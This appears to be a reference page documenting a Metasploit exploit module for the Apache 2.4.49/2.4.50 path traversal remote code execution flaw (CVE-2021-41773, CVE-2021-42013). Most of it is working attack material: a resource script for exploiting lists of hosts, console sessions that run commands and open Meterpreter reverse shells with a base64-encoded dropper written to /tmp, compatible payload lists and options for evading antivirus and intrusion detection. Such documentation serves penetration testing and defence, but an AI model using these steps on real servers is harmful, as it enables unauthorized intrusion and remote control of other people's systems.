Apache 2.4.49/2.4.50 Traversal RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/apache_normalize_path_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache 2.4.49/2.4.50 Traversal RCE
Module: exploit/multi/http/apache_normalize_path_rce
Source code: modules/exploits/multi/http/apache_normalize_path_rce.rb
Disclosure date: 2021-05-10
Last modification time: 2021-10-10 17:01:15 +0000
Supported architecture(s): cmd, x64, x86
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-41773, CVE-2021-42013
This module exploit an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773). If files outside of the document root are not protected by ‘require all denied’ and CGI has been explicitly enabled, it can be used to execute arbitrary commands (Remote Command Execution). This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using apache_normalize_path_rce against a single host
Normally, you can use exploit/multi/http/apache_normalize_path_rce this way:
msf > use exploit/multi/http/apache_normalize_path_rce
msf exploit(apache_normalize_path_rce) > show targets
... a list of targets ...
msf exploit(apache_normalize_path_rce) > set TARGET target-id
msf exploit(apache_normalize_path_rce) > show options
... show and set options ...
msf exploit(apache_normalize_path_rce) > exploit
Using apache_normalize_path_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your apache_normalize_path_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/apache_normalize_path_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
CheckModule: Module to check with
RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
This module exploits an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013).
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root.
If files outside of the document root are not protected by "require all denied" these requests can succeed.
Additionally this flaw could leak the source of interpreted files like CGI scripts.
If CGI scripts are also enabled for these aliased paths, this could allow for remote code execution.
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient (CVE-2021-42013).
Vulnerable Application
This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
Make your lab
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--or--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
Verification Steps
- Start
msfconsole use exploit/multi/http/apache_normalize_path_rceset RHOSTS [IP]set LHOST [IP]run
Options
CVE
The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013). Default: CVE-2021-42013
DEPTH
Depth for path traversal. Default: 5
TARGETURI
Base path. Default: /cgi-bin
Scenarios
Command Line Interface
msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > set target 1
target => 1
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set cmd uname -a
cmd => uname -a
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[+] uname -a
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Generated payload: uname -a
[!] http://172.20.4.11:8080 - Dumping command output in response
Linux 184ef33f9859 5.14.0-1-amd64 #1 SMP Debian 5.14.6-3 (2021-09-28) x86_64 GNU/Linux
msf6 exploit(multi/http/apache_normalize_path_rce) >
Meterpreter
msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set lhost 172.20.7.36
lhost => 172.20.7.36
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[*] Started reverse TCP handler on 172.20.7.36:4444
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Sending linux/x64/meterpreter/reverse_tcp command payload
[*] http://172.20.4.11:8080 - Generated command payload: echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwUByRRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== | base64 -d > /tmp/PJaT; chmod +x /tmp/PJaT; /tmp/PJaT; rm -f /tmp/PJaT
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 172.20.4.11
[*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.4.11:48540) at 2021-10-08 13:58:13 +0400
[!] This exploit may require manual cleanup of '/tmp/PJaT' on the target
meterpreter >
References
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
- https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml
- https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74
- https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis
Go back to menu.
Msfconsole Usage
Here is how the multi/http/apache_normalize_path_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > show info
Name: Apache 2.4.49/2.4.50 Traversal RCE
Module: exploit/multi/http/apache_normalize_path_rce
Platform: Unix, Linux
Arch: cmd, x64, x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-05-10
Provided by:
Ash Daulton
Dhiraj Mishra
mekhalleh (RAMELLA S��bastien)
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic (Dropper)
1 Unix Command (In-Memory)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CVE CVE-2021-42013 yes The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013)
DEPTH 5 yes Depth for Path Traversal
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /cgi-bin yes Base path
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploit an unauthenticated RCE vulnerability which
exists in Apache version 2.4.49 (CVE-2021-41773). If files outside
of the document root are not protected by ���require all denied���
and CGI has been explicitly enabled, it can be used to execute
arbitrary commands (Remote Command Execution). This vulnerability
has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-41773
https://nvd.nist.gov/vuln/detail/CVE-2021-42013
https://httpd.apache.org/security/vulnerabilities_24.html
https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml
https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74
https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis
Module Options
This is a complete list of options available in the multi/http/apache_normalize_path_rce exploit:
msf6 exploit(multi/http/apache_normalize_path_rce) > show options
Module options (exploit/multi/http/apache_normalize_path_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CVE CVE-2021-42013 yes The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013)
DEPTH 5 yes Depth for Path Traversal
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /cgi-bin yes Base path
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Dropper)
Advanced Options
Here is a complete list of advanced options supported by the multi/http/apache_normalize_path_rce exploit:
msf6 exploit(multi/http/apache_normalize_path_rce) > show advanced
Module advanced options (exploit/multi/http/apache_normalize_path_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CheckModule auxiliary/scanner/http/apache_normalize_path yes Module to check with
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted:
Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
MeterpreterTryToFork false no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/apache_normalize_path_rce module can exploit:
msf6 exploit(multi/http/apache_normalize_path_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic (Dropper)
1 Unix Command (In-Memory)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/apache_normalize_path_rce exploit:
msf6 exploit(multi/http/apache_normalize_path_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/chmod normal No Linux Chmod
19 payload/linux/x86/exec normal No Linux Execute Command
20 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
21 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
22 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
23 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
26 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
27 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
30 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
31 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
32 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
33 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
34 payload/linux/x86/read_file normal No Linux Read File
35 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
36 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
37 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
38 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
41 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
42 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
45 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
46 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
47 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
48 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/apache_normalize_path_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/apache_normalize_path_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
ForceExploit
Here is a relevant code snippet related to the "ForceExploit" error message:
126: end
127:
128: def exploit
129: @proto = (ssl ? 'https' : 'http')
130:
131: if (!check.eql? Exploit::CheckCode::Vulnerable) && !datastore['ForceExploit']
132: fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
133: end
134:
135: print_status(message("Attempt to exploit for #{datastore['CVE']}"))
136: case target['Type']
The target is not exploitable.
Here is a relevant code snippet related to the "The target is not exploitable." error message:
127:
128: def exploit
129: @proto = (ssl ? 'https' : 'http')
130:
131: if (!check.eql? Exploit::CheckCode::Vulnerable) && !datastore['ForceExploit']
132: fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
133: end
134:
135: print_status(message("Attempt to exploit for #{datastore['CVE']}"))
136: case target['Type']
137: when :linux_dropper
Dumping command output in response
Here is a relevant code snippet related to the "Dumping command output in response" error message:
151: if !cmd_unix_generic?
152: execute_command(payload.encoded)
153: else
154: received = execute_command(payload.encoded.to_s)
155:
156: print_warning(message('Dumping command output in response'))
157: if !received
158: print_error(message('Empty response, no command output'))
159:
160: return
161: end
Empty response, no command output
Here is a relevant code snippet related to the "Empty response, no command output" error message:
153: else
154: received = execute_command(payload.encoded.to_s)
155:
156: print_warning(message('Dumping command output in response'))
157: if !received
158: print_error(message('Empty response, no command output'))
159:
160: return
161: end
162: print_line(received)
163: end
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Related Pull Requests
References
- CVE-2021-41773
- CVE-2021-42013
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
- https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml
- https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74
- https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/apache_normalize_path
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_roller_ognl_injection
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_flink_jobmanager_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/apache_karaf_command_execution
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/apache_james_exec
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- exploit/windows/http/php_apache_request_headers_bof
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
Related Nessus plugins:
- Apache 2.4.49 < 2.4.50 Multiple Vulnerabilities
- Apache HTTP Server 2.4.49 Path Traversal (CVE-2021-41773)
- FreeBSD : Apache httpd -- Multiple vulnerabilities (25b78bdd-25b8-11ec-a341-d4c9ef517024)
- Apache 2.4.49 < 2.4.51 Path Traversal Vulnerability
- FreeBSD : Apache httpd -- Path Traversal and Remote Code Execution (d001c189-2793-11ec-8fb1-206a8a720317)
- Amazon Linux 2 : httpd (ALAS-2021-1716)
- Amazon Linux AMI : httpd24 (ALAS-2021-1543)
- Apache HTTP Server 2.4.49 & 2.4.50 Path Traversal (CVE-2021-42013)
Authors
- Ash Daulton
- Dhiraj Mishra
